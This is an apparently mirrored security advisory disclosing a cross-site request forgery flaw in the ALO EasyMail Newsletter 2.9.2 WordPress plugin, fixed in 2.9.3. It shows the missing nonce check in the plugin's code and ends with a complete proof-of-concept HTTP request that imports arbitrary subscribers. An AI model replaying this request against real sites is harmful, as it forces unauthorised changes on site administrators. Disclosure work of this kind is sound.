WordPress Plugin ALO EasyMail NewsLetter 2.9.2 – Cross-Site Request Forgery (Add/Import Arbitrary Subscribers)

  • 作者: Yorick Koster
    日期: 2016-08-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40191/
  • Cross-Site Request Forgery in ALO EasyMail Newsletter WordPress Plugin
    
    Contact
    
    For feedback or questions about this advisory mail us at sumofpwn at securify.nl
    
    The Summer of Pwnage
    
    This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
    
    OVE ID
    OVE-20160724-0021
    
    Abstract
    
    It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery. Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.
    
    Tested versions
    
    This issue was successfully tested on ALO EasyMail Newsletter WordPress Plugin version 2.9.2.
    
    Fix
    
    This issue is resolved in ALO EasyMail Newsletter version 2.9.3.
    
    Introduction
    
    ALO EasyMail Newsletter is a plugin for WordPress that allows to write and send newsletters, and to gather and manage the subscribers. It supports internationalization and multilanguage. It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery.
    
    Details
    
    A number of actions within ALO EasyMail Newsletter consist of two steps. The 'step one' action is protected against Cross-Site Request Forgery by means of the check_admin_referer() WordPress function.
    
    <?php 
    /**
    * Bulk action: Step #1/2
    */
    if ( isset($_REQUEST['doaction_step1']) ) {
     check_admin_referer('alo-easymail_subscribers');
    
    However the call to check_admin_referer() has been commented out for all 'step two' actions. Due to this it is possible for an attacker to perform a Cross-Site Request Forgery attack for all the 'step 2' actions.
    
    /**
    * Bulk action: Step #2/2
    */
    if ( isset($_REQUEST['doaction_step2']) ) {
     //if($wp_version >= '2.6.5') check_admin_referer('alo-easymail_subscribers');
    
     
    Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.
    
    Proof of concept
    
    POST /wp-admin/edit.php?post_type=newsletter&page=alo-easymail%2Fpages%2Falo-easymail-admin-subscribers.php&doaction_step2=true&action=import HTTP/1.1
    Host: <target>
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Cookie: <session cookies>
    Connection: close
    Content-Type: multipart/form-data; boundary=---------------------------17016644981835490787491067954
    Content-Length: 645
     
    -----------------------------17016644981835490787491067954
    Content-Disposition: form-data; name="uploaded_csv"; filename="foo.csv"
    Content-Type: text/plain
     
    sumofpwn@securify.n;Summer of Pwnage;en
     
    -----------------------------17016644981835490787491067954
    Content-Disposition: form-data; name="post_type"
     
    newsletter
    -----------------------------17016644981835490787491067954
    Content-Disposition: form-data; name="action"
     
    import_step2
    -----------------------------17016644981835490787491067954
    Content-Disposition: form-data; name="doaction_step2"
     
    Upload CSV file
    -----------------------------17016644981835490787491067954--